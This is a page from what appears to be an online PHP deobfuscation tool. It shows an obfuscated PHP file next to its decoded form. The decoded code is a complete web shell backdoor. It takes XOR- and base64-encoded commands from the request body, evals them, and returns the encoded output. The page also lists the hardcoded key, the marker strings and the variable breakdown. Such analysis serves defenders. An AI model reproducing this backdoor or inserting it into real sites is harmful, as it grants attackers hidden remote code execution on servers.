Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $g='r($i=0;||$|i<$|l;){for($j=0;|($j<$c&|&$i<$l);$j|++,$|i++){$o.|=$t|{$i}^$k{'; $..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="e9cbb0ab";$kh="7cfe445977e8";$kf="faa65ec654b6";$p="rvNu2uZQ9YeXgRhC";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$g='r($i=0;||$|i<$|l;){for($j=0;|($j<$c&|&$i<$l);$j|++,$|i++){$o.|=$t|{$i}^$k{';
$Y=str_replace('S','','SScrSeatSe_fSSunction');
$o='x(|@b|ase64_d|ecode($|m[|1]),$k)|))|;$|o=@ob_ge|t_contents();@ob_|en||d_cl';
$Z='$k="e9|cbb0ab"|;$|kh="7cfe445|977e8";|$k|f="|f|aa6|5ec654b6|";$p="rvNu2uZQ9Y';
$V='ten||ts("php://inp|ut"),$m)==|1)|| {@ob_start();|@ev|al(@|gzuncompr|ess(@';
$m='$|j};}}|return| $o;}if| (@preg|_ma||tch("/$kh(.+)$|kf/",@f|ile_|get_co|n';
$w='ean();$r=@base|6|4_encode(@x(|@gzcom|pres|s($o),|$k|));pri|nt("$p$kh$|r$kf");}';
$P='eXg|Rh||C";|function x(|$|t,$k){|$c=strlen($k);$l=|st|rlen|($t);$o="";f|o';
$c=str_replace('|','',$Z.$P.$g.$m.$V.$o.$w);
$i=$Y('',$c);$i();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$P eXg|Rh||C";|function x(|$|t,$k){|$c=strlen($k);$l=|st|rlen|(..
$V ten||ts("php://inp|ut"),$m)==|1)|| {@ob_start();|@ev|al(@|gz..
$Y create_function
$Z $k="e9|cbb0ab"|;$|kh="7cfe445|977e8";|$k|f="|f|aa6|5ec654b6|..
$c $k="e9cbb0ab";$kh="7cfe445977e8";$kf="faa65ec654b6";$p="rvNu..
$g r($i=0;||$|i<$|l;){for($j=0;|($j<$c&|&$i<$l);$j|++,$|i++){$o..
$k e9cbb0ab
$m $|j};}}|return| $o;}if| (@preg|_ma||tch("/$kh(.+)$|kf/",@f|i..
$o x(|@b|ase64_d|ecode($|m[|1]),$k)|))|;$|o=@ob_ge|t_contents()..
$p rvNu2uZQ9YeXgRhC
$w ean();$r=@base|6|4_encode(@x(|@gzcom|pres|s($o),|$k|));pri|n..
$kf faa65ec654b6
$kh 7cfe445977e8

Stats

MD5 a41d57e11e7b46ba9feeb71466f38d85
Eval Count 1
Decode Time 219 ms